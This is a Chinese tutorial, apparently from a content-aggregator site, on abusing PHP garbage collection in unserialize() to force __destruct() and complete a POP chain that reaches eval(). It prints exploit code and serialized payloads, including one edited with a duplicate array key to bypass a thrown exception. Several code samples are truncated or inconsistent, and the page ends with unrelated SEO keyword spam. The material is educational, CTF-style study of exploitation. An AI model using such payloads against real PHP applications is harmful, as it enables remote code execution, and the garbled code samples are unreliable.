千家信息网

PHP中GC回收机制如何利用

发表于:2025-02-12 作者:千家信息网编辑
千家信息网最后更新 2025年02月12日,这篇文章主要介绍"PHP中GC回收机制如何利用"的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇"PHP中GC回收机制如何利用"文章能帮助大家解决问题。简单铺垫先看
千家信息网最后更新 2025年02月12日PHP中GC回收机制如何利用

这篇文章主要介绍"PHP中GC回收机制如何利用"的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇"PHP中GC回收机制如何利用"文章能帮助大家解决问题。

简单铺垫

先看看这个简单的序列化,一定要先思考再看后面的答案

很简单的一个反序列化,想办法控制$rce这个变量就可以达到命令执行的目的。

构造exp

如果你看完了我之前写的序列化与反序列化基础篇就只能说这个是非常简单了。

这里是因为可以用到__destruct()方法

如果是这样的话呢?不会的话也不用着急搞懂,我们后面慢慢说。

初识GC

PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的。

垃圾,顾名思义就是一些没有用的东西。在这里指的是一些数据或者说是变量在进行某些操作后被置为空(NULL)或者是没有地址(指针)的指向,这种数据一旦被当作垃圾回收后就相当于把一个程序的结尾给划上了句号,那么就不会出现无法调用__destruct()方法了。想知道原理细节的小伙伴可以直接看PHP官方的解答:PHP: 回收周期(Collecting Cycles) - Manual

那接下来就演示用代码演示GC的实际工作。

num = $num;    echo $this->num."__construct"."
";}public function __destruct(){ echo $this->num."__destruct()"."
";}} new errorr(1);$a = new errorr(2);$b = new errorr(3);?>

可以猜一猜结果会是什么。

谢谢有被吃惊到(虽然我是已经知道结果的),new了一个errorr对象,屁股还没坐热就__destruct()了。后面的两个对象则是按部就班先创建完没有操作了以后才结束的。区别就在于对象1没有任何引用也没有指向,在创建的那一刻就被当作垃圾回收了,从而触发了__destruct()方法。

如果没有指向可以,那如过在指向一个对象的中途忽然指向另一个,也就是舍弃了该对象又会怎么样。

num = $num;    echo $this->num."__construct"."
";}public function __destruct(){ echo $this->num."__destruct()"."
";}} $c = array(new errorr(1),0);$c[0] = $c[1];$a = new errorr(2);$b = new errorr(3);?>

意料之中。

如果注销$c[0] = $c[1]呢?

可以看到,正常创建,最后销毁的。

小试牛刀

既然知道如何利用GC了,那就看一个例题。

num;    }}class errorr1{    public $err;    public function __toString()    {        echo "hello __toString";        $this->err->flag();    }} class errorr2{    public $err;    public function flag()    {        echo "hello __flag()";        eval($this->err);    }} $a=unserialize($_GET['url']);throw new Exception("就这?"); ?>

自己胡思乱想出来的题目,太简单也不要骂我哈哈哈。可能这个throw new Exception();有点突兀,这其实就是阻止__destruct()执行的抛错,学过java或者python的小伙伴应该知道。

这也算一个pop链子吧,先分析目的函数,看来看去就是errorr2::flag(),往前推就是errorr1::__toString()会触发这个函数,而errorr0::__destruct()会触发toString,思路理清就把链子构造出来为:首端 --> errorr0::__destruct() --> errorr1::__toString() --> errorr2::flag() -->尾巴。

exp为:

num = new errorr1();        } }class errorr1{    public $err;        public function __construct()        {                $this->err = new errorr2();        }} class errorr2{    public $err = "phpinfo();";} $a = new errorr0();echo serialize($c);?>

这个exp的构造有许多方法的,根据自己喜好来,不必和我一样。

这就完了?或许有人迷惑了,如果完了那前面我说的都是在放屁,和pop没区别,所以当然还没完。如果没有这句throw new Exception();就真的构造完了,但是有的话__destruct()是不会执行的,而__destruct()不执行这条链子根本就是堵死的,没啥用。

重点来了,根据之前说的GC回收机制可以把一段数据当做垃圾回收,那不就可以执行__destruct(),然后就有一个问题-------如何触发GC回收机制?!!还记得,之前举过的例子吗?如过没有如何东西指向一个对象,那个对象就会被当作垃圾回收。所以,我们先看修改后的exp

num = new errorr1();        } }class errorr1{    public $err;        public function __construct()        {                $this->err = new errorr2();        }} class errorr2{    public $err = "phpinfo();";} $a = new errorr0();$c = array(0=>$a,1=>NULL);echo serialize($c);?>

可以看出来,就加了一行代码,就是

$c = array(0=>$a,1=>NULL);

把目标对象赋给键为0,键为1赋值为NULL。为什么要这么做,因为这样操作后,得到的字符串为:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}

可以自己试试。解释一下这串字符。

第一个a为数组,2为数组中键有两个 i = 0以及 i = 1

重点重点重点,虽然有两个键i = 0对应的是我们目标对象,i = 1NULL,如果这个时候我们做一件坏事,把i 本应该等于 1修改为 i = 0。那不就是把i = 0指向NULL了吗?然后就实现了GC回收。所以最后我们修改后的字符串为:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}

关于"PHP中GC回收机制如何利用"的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注行业资讯频道,小编每天都会为大家更新不同的知识点。

对象 就是 指向 垃圾 机制 方法 完了 序列 重点 两个 字符 数据 知识 链子 东西 代码 函数 变量 周期 字符串 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 南京二手服务器回收选哪家 数据库管理系统的逻辑组件 pc访问服务器 内蒙古诚信网络技术服务哪家好 宝塔面板创建数据库无法使用 四川省大学生网络安全专业排名 函数按名字查数据库 网络安全的定义与特征 呼叫中心软件开发 网络安全教育征集展播 久米网络技术有限公司 青云服务器安全设置软件破解版 数据库的类型是什么原因是 苏州信息软件开发介绍 原神官方的服务器是什么 盐城微信小程序软件开发 车路协同系统服务器搭建 数据库出错请连接 对于软件开发需要了解的内容 国内服务器域名怎么跳备案 云服务器超开什么意思 威海的dns服务器 浪潮服务器系统故障红灯常亮 软件开发工作量如何评估 成都创智星熠网络技术有限公司 函数按名字查数据库 北京新一代软件开发服务推广 郑州百信云龙服务器价格是多少 mysql数据库多个连接 数据库如何生成用户编码
0